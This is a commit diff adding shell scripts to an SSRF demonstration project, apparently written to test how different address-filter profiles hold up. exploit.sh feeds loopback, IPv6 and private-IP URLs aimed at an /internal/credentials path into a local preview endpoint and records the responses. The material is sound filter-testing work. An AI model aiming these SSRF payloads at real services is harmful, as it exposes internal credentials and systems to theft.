1
0

Add the ssrf module

This commit is contained in:
2026-08-29 09:31:09 +05:30
parent 0fceb2cd4e
commit 4e37a54e92
28 changed files with 1391 additions and 0 deletions

17
ssrf/scripts/exploit.sh Executable file
View File

@@ -0,0 +1,17 @@
#!/usr/bin/env bash
# Drive the vulnerable endpoint against the four targets that matter, printing the outcome of
# each. Run it after ./scripts/run.sh <profile>; the profile decides the answers.
set -eu
PRIVATE_IP="$(hostname -I | awk '{print $1}')"
probe() {
printf '%-58s ' "$1"
curl -s --max-time 10 -G http://127.0.0.1:8080/preview --data-urlencode "url=$1" \
| python3 -c 'import json,sys; d=json.load(sys.stdin); print(d["outcome"], "|", d.get("body", d.get("message",""))[:96])'
}
echo "target outcome"
echo "-----------------------------------------------------------------------------------------"
probe "http://127.0.0.1:8080/internal/credentials"
probe "http://localhost:8080/internal/credentials"
probe "http://[::1]:8080/internal/credentials"
probe "http://${PRIVATE_IP}:8080/internal/credentials"
probe "http://example.com/"

35
ssrf/scripts/run-all.sh Executable file
View File

@@ -0,0 +1,35 @@
#!/usr/bin/env bash
# Regenerate every file under docs/output/. Nothing in the article or the chapters was typed by
# hand; it all came from here.
set -eu
cd "$(dirname "$0")/.."
mvn -B -q compile
[ -f target/cp.txt ] || mvn -B -q dependency:build-classpath -Dmdep.outputFile=target/cp.txt -Dmdep.includeScope=runtime
CP="target/classes:$(cat target/cp.txt)"
java -cp "$CP" com.ankurm.ssrf.FilterMatrix > docs/output/filter-matrix.txt
java -cp "$CP" com.ankurm.ssrf.AndVarargsTrap > docs/output/and-varargs-trap.txt
{
for p in "" docsfilter blocklist negated allowlist; do
echo "==================================================================================="
echo "PROFILE: ${p:-(none) - no InetAddressFilter bean}"
echo "==================================================================================="
./scripts/run.sh "$p" >/dev/null 2>&1 || { echo "FAILED TO START"; continue; }
./scripts/exploit.sh
echo
done
./scripts/stop.sh
} > docs/output/exploit-by-profile.txt 2>&1
# Two beans of the same type: the context does not start, and the diagnostic blames the wrong
# thing. Captured deliberately.
{
echo "\$ java -cp ... SsrfDemoApplication --spring.profiles.active=twofilters"
timeout 90 java -Xmx256m -cp "$CP" com.ankurm.ssrf.SsrfDemoApplication \
--spring.profiles.active=twofilters 2>&1 \
| grep -E 'expected single matching bean|APPLICATION FAILED|^Description|^Action|required a single bean|^\t- ' | head -20
} > docs/output/two-filter-beans.txt 2>&1
mvn -B test 2>&1 | grep -E 'Tests run:|WhereTheFilterRuns' > docs/output/tests.txt
echo "regenerated:"; ls -1 docs/output/

23
ssrf/scripts/run.sh Executable file
View File

@@ -0,0 +1,23 @@
#!/usr/bin/env bash
# Start the application with the given profiles: ./scripts/run.sh docsfilter
#
# Uses a plain `java -cp` launch rather than `mvn spring-boot:run` so that only one JVM starts
# per application. The Maven plugin forks a second JVM, which matters when you are running
# several of these at once on a small machine.
set -eu
cd "$(dirname "$0")/.."
PROFILES="${1:-}"
[ -f target/cp.txt ] || mvn -B -q dependency:build-classpath -Dmdep.outputFile=target/cp.txt -Dmdep.includeScope=runtime
[ -d target/classes ] || mvn -B -q compile
./scripts/stop.sh
ARGS=""
[ -n "$PROFILES" ] && ARGS="--spring.profiles.active=$PROFILES"
setsid nohup java -Xmx256m -cp "target/classes:$(cat target/cp.txt)" \
com.ankurm.ssrf.SsrfDemoApplication $ARGS > /tmp/ssrf-app.log 2>&1 < /dev/null &
for _ in $(seq 1 60); do
curl -fs -o /dev/null http://127.0.0.1:8080/diag/filter && exit 0
sleep 1
done
echo "application did not start; see /tmp/ssrf-app.log" >&2
tail -30 /tmp/ssrf-app.log >&2
exit 1

14
ssrf/scripts/stop.sh Executable file
View File

@@ -0,0 +1,14 @@
#!/usr/bin/env bash
# Stop any running instance.
#
# Match a real JVM whose command line contains this application's main class, and exclude this
# shell and its parent explicitly. A bare grep for the class name is not enough: when the
# calling shell's own command line contains the class name - which it does whenever you paste a
# here-doc - the grep matches the shell and kills it.
set -eu
self=$$; parent=${PPID:-0}
for pid in $(ps -eo pid,ppid,comm,args | awk -v s="$self" -v p="$parent" \
'$1 != s && $1 != p && $3 ~ /^java/ && $0 ~ /com\.ankurm\.ssrf\.SsrfDemoApplication/ {print $1}'); do
kill -9 "$pid" 2>/dev/null || true
done
sleep 1